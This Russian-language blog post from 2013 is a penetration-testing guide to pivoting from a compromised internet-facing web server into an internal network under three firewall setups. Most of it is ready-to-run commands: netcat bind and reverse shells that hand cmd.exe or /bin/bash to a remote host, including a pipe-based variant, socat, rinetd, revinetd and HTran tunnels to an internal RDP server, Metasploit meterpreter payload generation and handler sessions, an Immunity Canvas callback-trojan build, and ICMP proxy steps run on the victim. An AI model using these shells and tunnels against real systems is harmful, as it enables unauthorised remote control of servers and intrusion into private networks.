6 Мая, 2013

Атака на внутреннюю сеть из Интернет

Dmitriy Evteev

Ключевыми задачами при развитии атаки во внутреннюю сеть (аля пентест), наравне с поиском и эксплуатацией уязвимостей, является доставка полезной нагрузки до объекта атаки и обеспечение "транспорта" к этому и смежным сетевым объектам. В качестве полезной нагрузки может выступать любой инструментарий (в т.ч. эксплоит), позволяющий расширить уровень привилегий, знаний (как по сети, так и в пределах одной системы) и осуществлять любые другие операции, выходящие за рамки функциональных возможностей атакуемой операционной системы и доступного на этой системе прикладного программного обеспечения. В качестве примера подобного инструментария можно упомянуть, например, Windows Credential Editor (WCE), который после компрометации операционной системы Windows необходимо запустить в адресном пространстве этой системы с целью получения паролей зарегистрированных пользователей в открытом виде. Под "транспортом" я понимаю любое туннелирование трафика, которое обеспечивает возможность взаимодействия с конкретным приложением на атакуемой системе. Например, обеспечение сетевого доступа по протоколу RDP к системе, расположенной за межсетевым экраном.

Задачи, связанные с доставкой полезной нагрузки и обеспечением "транспорта", могут пересекаться и дополнять друг друга. В данной публикации будут рассмотрены основные сценарии обеспечения "транспорта", которыми пользуются атакующие.

Рассмотрим три типовых сценария публикации внешних приложений (иллюстрация представлена ниже):

1. Сетевой доступ никак не ограничен в обе стороны (W01).
2. Сетевой доступ ограничен входящим TCP/80, обратно сетевой доступ не ограничен (W02).
3. Сетевой доступ ограничен входящим TCP/80, обратно весь ip-трафик блокируется пограничным межсетевым экраном (W03).


Постановка задачи для каждого из рассматриваемых сценариев будет следующей:

1. Обеспечить интерактивный терминал на веб-сервере (W0-3).
2. Обеспечить соединение по протоколу RDP к терминальному серверу (R).

При этом будем предполагать, что в качестве операционной системы веб-сервера могут выступать Windows/x86 или Linux/x86 .

Сценарий 1 (веб-сервер W01)


Первый сценарий размещения веб-сервера, несмотря на архитектурное уродство при проектировании сетевой топологии, по-прежнему встречается на просторах нашей бескрайней.

Когда привилегий хватает (т.е. мы root/system) задача лежит в плоскости системного администрирования, т.е. переконфигурирование операционной системы веб-сервера в самый обыкновенный шлюз. Примеров подобных настроек для всех видов осей в интернете предостаточно, поэтому не стану на этом останавливаться.

Если мы ограничены в привилегиях, тогда нам никто не запрещает занять свободный TCP/UDP-порт в диапазоне 1024-65535 (данное ограничение не действует на Windows системы т.е. с правами пользователя можно занимать свободные порты ниже 1024).

Переключение на интерактивный терминал:


Windows:
W01> nc.exe -l -p 12345 -e cmd.exe
H# nc 1.1.1.2 12345

W01> nc.exe -l -p 12345 -u -e cmd.exe
H# nc –u 1.1.1.2 12345

Linux:
W01> nc -l -p 12345 -e /bin/bash
H# nc 1.1.1.2 12345


Обеспечение доступа к терминальному серверу:


Windows/Linux:
W01> echo 0.0.0.0 12345 192.168.0.1 3389 > conf
W01> rinetd -f -c conf
H# rdesktop 1.1.1.2:12345


W01> FPipe -l 12345 -r 3389 192.168.0.1
H# rdesktop 1.1.1.2:12345


Windows/Linux:
W01> socat TCP4-LISTEN:12345 TCP4:192.168.0.1:3389
H# rdesktop 1.1.1.2:12345

Пример туннелирования TCP поверх UDP:
W01> socat UDP4-LISTEN:12345 TCP4:192.168.0.1:3389
H# socat TCP4-LISTEN:4444 UDP4:1.1.1.2:12345
H# rdesktop localhost:4444

- Proxifier (требуется proxy с поддержкой метода connect или socks; http://www.proxifier.com/ )


- ProxyCap (требуется proxy с поддержкой метода connect, socks или ssh; http://www.proxycap.com/ )




Решение обоих задач:

- Metasploit Framework ( http://www.metasploit.com/ )

Windows:
H# msfpayload windows/meterpreter/bind_tcp LPORT=12345 X > meterpreter.exe
W01> meterpreter.exe
H# msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 1.1.1.2
RHOST => 1.1.1.2
msf  exploit(handler) > set LPORT 12345
LPORT => 12345
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

meterpreter > execute -f cmd.exe -i -H
...

meterpreter > portfwd -l 4444 -p 3389 -r 192.168.0.1
...

H# rdesktop localhost:4444


Linux:
H# msfpayload linux/x86/meterpreter/bind_tcp LPORT=12345 X > meterpreter


Сценарий 2 (веб-сервер W02)


Наиболее распространенный вариант размещения веб-сервера, который встречается буквально при тестировании каждой информационной системы. В данном сценарии межсетевой экран блокирует все входящие подключения, кроме http-порта занятого веб-сервером. Конечно можно совершить акт вандализма (в случае наличия соответствующих привилегий) убив веб-сервер и заняв его порт, но обычно настраивают обратные подключения…

Переключение на интерактивный терминал:

Равносильно первому сценарию, можно воспользоваться netcat’ом:

Windows:
H# nc -l -p 53
W02> nc.exe -e cmd.exe 2.2.2.2 53

Linux:
H# nc -l -p 53
W02> nc -e /bin/bash 2.2.2.2 53

Стоит отметить, что для тех случаев, когда волшебного ключика "-e" в находящейся под рукой сборке netcat нет, можно использовать, например, такую конструкцию:

H# nc -l -p 53
H# nc -l -p 80
W02> nc 2.2.2.2 53 | /bin/bash | nc 2.2.2.2 80

В данном примере на порту TCP/53 следует передавать команды операционной системы, а на порту TCP/80 получать результат выполнения этих команд. 

По аналогии может использоваться и socat ( http://www.dest-unreach.org/socat/doc/linuxwochen2007-socat.pdf ). По следующей ссылке содержится небольшая подборка по другим реализациям обратного подключения в интерактивный терминал: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Обеспечение доступа к терминальному серверу:

Все тот-же socat:
H# socat TCP4-LISTEN:12345,fork TCP4-LISTEN:4444
W02> socat TCP-CONNECT:2.2.2.2:12345 TCP-CONNECT:192.168.0.1:3389
H# rdesktop localhost:4444


H# ./revinetd -s -c 127.0.0.1:4444 -l 2.2.2.2:12345 -v -k 1
W02> ./revinetd -r -b 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k 1
H# rdesktop localhost:4444

H# revinetd.exe -s -l 4444 -L 12345 -v -k 1
W02> revinetd.exe -r -c 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k

PS. Разумеется в качестве серверной части может выступать сборка под windows, а в качестве клиентской под linux и наоборот.


Более правильная реализация обратного TCP-туннелирования, которой судя по данному отчету активно пользуются Китайские собратья.

H# HTran -m 2 -p1 12345 -p2 4444
W02> HTran -m 3 -h1 2.2.2.2 -p1 12345 -h2 192.168.0.1 -p2 3389
H# rdesktop localhost:4444

H# HTran.exe -listen 12345 4444
W02> HTran.exe -slave 2.2.2.2 12345 192.168.0.1 3389

PS. В отличии от revinetd данная реализация обратного TCP-туннелирования обладает преимуществами в возможностях каскадных соединений и в способности обрабатывать несколько параллельных TCP сессий со стороны клиентов.

Пример каскадного соединения:
H# HTran.exe -listen 12345 4444
W01> HTran.exe -tran 2.2.2.2 12345 4444
W02> ./HTran –m 3 –h1 192.168.0.2 –p1 4444 –h2 192.168.0.1 –p2 3389

Решение обоих задач:

Для MSF все также будет справедливо по аналогии с примером выше для первого сценария. Разница лишь в том, что тут потребуется использовать другую нагрузку:

H# msfpayload linux/x86/meterpreter/reverse_tcp LPORT=12345 X > meterpreter

Альтернативой MSF для аналогичных целей может использоваться коммерческий эксплоит-пак Immunity Canvas :

H# exploits/BuildCallbackTrojan/BuildCallbackTrojan.py -t 0.0.0.0 -O callback_host:2.2.2.2 -O callback_port:5555 -O OS:Windows -O filename:immunity.exe

Поднимаем слушатель:



Получаем клиента на MOSDEF-транспорте:




И счастливые обладатели White Phosphorus Exploit Pack могут сделать port forward поверх MOSDEF (как это не покажется странным, но в составе самого Immunity Canvas родного пробрасывальщика портов нету).



Сценарий 3 (веб-сервер W03)


Данный вариант публикации внешнего приложения является наиболее суровым по отношению к атакующему. Для проброса "транспорта" к приложениям внутренней сети в этом сценарии используют непосредственно среду скомпрометированного веб-сервера/приложения. То есть, в пределах корневого каталога веб-сервера размещают новый сценарий, который отвечает за инкапсуляцию трафика. Альтернативным решением может являться подгрузка "правильного" модуля аля http-прокси с поддержкой метода connect.

- http-tunnel (только php; http://http-tunnel.sourceforge.net/ )
Пример использования reduh - http://carnal0wnage.attackresearch.com/2009_10_01_archive.html
- webtunnel (только perl; http://sourceforge.net/projects/webtunnel/ )

Для получения интерактивного терминала на веб-сервере в данном сценарии может применяться следующий подход:

1. Поднимаем на свободном порту (в т.ч. localhost) интерактивный шелл (например, с использованием netcat).
2. Пробрасываем этот шелл к самому веб-серверу (по аналогии с протоколом RDP).

Другим вариантом общения с веб-сервером может служить протокол разрешения имен - DNS. Я имею ввиду такое общение, которое протекает через цепочку настоящих DNS-серверов, которым разрешен доступ в интернет, как минимум с использованием соответствующего протокола. Однако смысла в подобном пробросе для решения поставленных задач при имеющихся вводных не имеет т.к. использовать протокол DNS для инкапсулирования протокола RDP, увы, не получится. Дополнительную информацию про проброс поверх DNS, а также соответствующий инструментарий можно найти по следующим ссылкам:


К слову, immunity canvas также поддерживает свой mosdef поверх протокола dns...

Если же мы изменим несколько вводные и разрешим бегать в сторону интернет протоколу ICMP, тогда он вполне подойдет для организации не самого шустрого транспорта для доступа к RDP. Стоит отметить, что на практике, конфигурации в которых со стороны веб-сервера заблокировано все, но разрешен протокол icmp (факт. ping), встречаются крайне и крайне редко. Но встречаются!

Для Immunity Canvas инструкция будет следующей:

MOSDEF вешаем на linux с правами root и в текущий таргет устанавливаем хост, от которого пойдут icmp пакеты и жмякаем меню Servers/icmp_proxy. На жертве запускаем:

Resourcesicmp_proxy.exe -l 127.0.0.1 -p 5555 -t <хост с mosdef>
Resourcesmosdef_callback.exe 127.0.0.1 5555




Бесплатные альтернативы для аналогичных целей:

Разумеется, данный материал не является исчерпывающим по поднятой мною теме. Поэтому буду благодарен дорогим читателям за описание других жизненных ситуаций и пути их разрулирования.